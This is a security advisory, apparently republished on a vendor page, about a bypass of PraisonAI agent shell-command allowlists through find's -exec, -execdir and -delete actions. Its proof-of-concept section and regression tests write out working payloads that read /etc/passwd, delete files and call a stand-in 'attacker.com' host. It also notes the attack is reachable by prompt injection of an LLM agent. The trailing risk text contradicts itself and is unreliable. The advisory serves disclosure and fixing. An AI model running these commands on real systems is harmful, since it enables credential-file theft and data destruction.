Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-cv3g-hj65-pcfh
Summary
The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.
The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).
Details
Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.
However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):
find /path -exec <command> {} +
The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.
Affected components (4 implementations, same gap):
| # | Component | File | Gap |
|---|---|---|---|
| 1 | TS utility-tools shell() | src/praisonai-ts/src/tools/utility-tools.ts:255 | find in safeCommands allowlist |
| 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 | find absent from DEFAULT_BLOCKED_COMMANDS |
| 3 | Python safe_shell | src/praisonai/praisonai/cli/features/safe_shell.py:22-58 | find absent from BANNED_COMMANDS, present in SAFE_COMMANDS |
| 4 | Python sandbox_executor | src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 | find absent from blocked_commands |
Bypass analysis:
| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + | Result |
|---|---|---|
| Metachar regex /[;|&\><]/|{, }, +are not in regex | PASS | | Regex/$([^)]*)/| No$(...)| PASS | |safeCommands.includes('find')|findIS in allowlist | PASS | | SandboxExecutor blocked paths |normalized.includes('/etc/passwd')→ FALSE (path split:/etc +passwd) | PASS | | spawn('find', [...], {shell:false})| find interprets-execdir` internally | BYPASS |
The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.
Preconditions:
| Precondition | How attacker obtains | Default? |
|---|---|---|
| Access to shell() or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |
| find binary on target | Standard Unix utility, present on Linux/macOS | Y |
| find in allowlist / absent from blocklist | Default configuration in each implementation | Y |
PoC
1. Data exfiltration via -execdir (utility-tools.ts)
const { shell } = require('praisonai/dist/tools/utility-tools');
async function poc() {
// Control: direct 'wget' is rejected (not in safeCommands)
const control = await shell('wget http://example.com');
console.log('[CONTROL] rejected:', !control.success); // true
// Bypass: find -execdir reads /etc/passwd via find's built-in action
const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
console.log('[BYPASS]:', bypass.success); // true
console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...
}
poc();
Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.
2. File deletion
await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted
3. Non-allowlisted command (side-effect based)
await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero
4. Python safe_shell
from praisonai.cli.features.safe_shell import safe_execute
result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...
Impact
An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:
- Blocked file read:
-execdirreads files inDEFAULT_BLOCKED_PATHSby splitting the path across arguments (verified: exit 0, data returned) - File deletion:
-deletedestroys files without metacharacters (verified: clean exit 0) - Non-allowlisted command execution:
-execruns commands not in safeCommands (side effect fires regardless of exit code)
Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.
Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.
Suggested fix
Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.
Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.
Regression tests:
test('rejects find -exec', async () => {
expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});
References
- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
- Fix commits: 2adfe7e, 2f9677a (2026-06-13)
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard